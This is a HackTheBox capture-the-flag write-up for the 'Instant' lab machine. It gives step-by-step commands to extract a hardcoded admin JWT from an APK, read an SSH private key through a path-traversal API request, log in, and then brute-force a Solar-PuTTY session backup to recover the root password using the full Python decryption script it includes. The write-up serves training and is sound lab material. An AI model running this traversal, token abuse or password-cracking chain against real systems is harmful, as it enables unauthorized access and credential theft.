HackTheBox Instant Writeup
Dive into the depths of cybersecurity with the Instant The Flag (CTF) challenge, a hard-level test of skill designed for seasoned professionals. This intense CTF writeup guides you through advanced techniques and complex vulnerabilities, pushing your expertise to the limit.
Add Hosts#
Edit the /etc/hosts file and add the following entries:
10.10.11.37 instant.htb swagger-ui.instant.htb mywalletv1.instant.htb
Script to add hosts automatically#
ip="10.10.11.37"
domain="instant.htb swagger-ui.instant.htb mywalletv1.instant.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV instant.htb
Nmap scan report for instant.htb (10.10.11.37)
Host is up (0.051s latency).
rDNS record for 10.10.11.37: swagger-ui.instant.htb
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Instant Wallet
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Swagger-UI: Get API Info#
To fetch the API specification from Swagger-UI:
curl -s http://swagger-ui.instant.htb/apispec_1.json | jq
Swagger-UI: Create a New User#
To create a new user via the Swagger-UI API:
curl -X POST "http://swagger-ui.instant.htb/api/v1/register" \
-H "accept: application/json" \
-H "Content-Type: application/json" \
-d '{
"email": "pwn@email.com",
"password": "pwn",
"pin": "1234",
"username": "pwn"
}'
Swagger-UI: Login with the New User#
To log in with the newly created user:
curl -X POST "http://swagger-ui.instant.htb/api/v1/login" \
-H "accept: application/json" \
-H "Content-Type: application/json" \
-d '{
"password": "pwn",
"username": "pwn"
}'
Download APK and Extract JWT Admin Token#
To download the APK file, disassemble it, and extract the hardcoded JWT admin token:
wget http://instant.htb/downloads/instant.apk
apktool d instant.apk
cat ./instant/smali/com/instantlabs/instant/AdminActivities.smali | grep "ey"
Retrieve SSH Key and Log in#
Use the JWT admin token to retrieve the SSH private key, then use the key to log into the server:
curl -s -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F.ssh%2Fid_rsa" \
-H "accept: application/json" \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq -r '.["/home/shirohige/logs/../.ssh/id_rsa"] | join("")' > id_rsa
chmod 600 id_rsa
ssh -i id_rsa shirohige@instant.htb
Retrieve the User Flag#
Once logged in, you can retrieve the user flag:
cat /home/shirohige/user.txt
Unintended PrivEsc#
with linpeas /opt/backups/Solar-PuTTY/sessions-backup.dat is showed
cat /opt/backups/Solar-PuTTY/sessions-backup.dat
save in you local pc:
#!/bin/env python3
# Solar Putty Decrypt
import re
import sys
import json
import base64
import string
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
def is_printable(text):
printable_set = set(string.printable)
printable_count = sum(1 for char in text if char in printable_set)
total_count = len(text)
if total_count == 0:
return False
return (printable_count / total_count) > 0.9
def decrypt(passphrase, ciphertext):
array = base64.b64decode(ciphertext)
salt_size, iv_size = 24, 8
salt, iv, encrypted_data = array[:salt_size], array[salt_size:salt_size+iv_size], array[salt_size+iv_size:]
kdf = PBKDF2HMAC(
algorithm=hashes.SHA1(), length=24, salt=salt, iterations=1000, backend=default_backend()
)
key = kdf.derive(passphrase.encode())
cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
padded_data = decryptor.update(encrypted_data) + decryptor.finalize()
unpadder = padding.PKCS7(64).unpadder()
data = unpadder.update(padded_data) + unpadder.finalize()
try:
decoded_data = data.decode('utf-8')
except UnicodeDecodeError:
try:
decoded_data = data.decode('latin-1')
except UnicodeDecodeError:
decoded_data = data.decode('latin-1', errors='ignore')
if is_printable(decoded_data):
return decoded_data
else:
return None
def try_decrypt_with_password(file_name, password):
def clean_invalid_prefix(data):
clean_data = re.sub(r'^[^\[]*', '', data)
clean_data = re.sub(r'],', ']\n', clean_data)
clean_data = re.sub(r'}(?=[^}]*$)', '', clean_data)
return clean_data
def parse_custom_data(data):
sections = re.split(r'("Data":|"Credentials":|"AuthScript":|"Groups":|"Tunnels":|"LogsFolderDestination":)', data)
result = {}
current_section = None
for part in sections:
part = part.strip()
if not part:
continue
if part.startswith('"') and part.endswith(':'):
current_section = part.strip(':').strip('"')
result[current_section] = []
elif current_section:
if part:
result[current_section].append(part)
for section, content in result.items():
for item in content:
item = item.strip()
if item == "[]":
continue
print(f"[{section}]")
try:
parsed_item = json.loads(item)
print(json.dumps(parsed_item, indent=4))
except json.JSONDecodeError:
print(f"Content (raw): {item}")
try:
with open(file_name, 'rb') as file:
encrypted_data = file.read().strip()
decrypted_data = decrypt(password, encrypted_data)
cleaned_data = clean_invalid_prefix(decrypted_data)
parse_custom_data("\"Data\":" + cleaned_data)
return True
except Exception as e:
print(f"[-] Failed with password '{password}'")
#print(f"{e}")
return False
def do_import_with_wordlist(file_name, wordlist_path):
try:
with open(wordlist_path, 'r', encoding='latin-1', errors='ignore') as wordlist_file:
passwords = [line.strip() for line in wordlist_file]
for password in passwords:
if try_decrypt_with_password(file_name, password):
print(f"[+] Success! Correct password is: {password}")
return True
else:
print("[-] No valid password found in the wordlist.")
return False
except FileNotFoundError as e:
print(f"Error: {e}")
return False
def main():
try:
if len(sys.argv) == 4 and sys.argv[2] == '-w':
file_name = sys.argv[1]
wordlist_path = sys.argv[3]
if not do_import_with_wordlist(file_name, wordlist_path):
sys.exit(1)
elif len(sys.argv) == 3:
file_name, password = sys.argv[1], sys.argv[2]
if not try_decrypt_with_password(file_name, password):
sys.exit(1)
else:
print("Usage: solarputtydecrypt <file_path> <password> or solarputtydecrypt <file_path> -w <wordlist_path>")
sys.exit(1)
except KeyboardInterrupt:
print("\nProcess interrupted by user (Ctrl + C). Exiting...")
sys.exit(0)
if __name__ == "__main__":
main()
vi key
chmod +x solarputtydecrypt
solarputtydecrypt key -w /usr/share/dict/rockyou.txt
with this you will find password for root user
ssh -i id_rsa shirohige@instant.htb
su root
cat /root/root.txt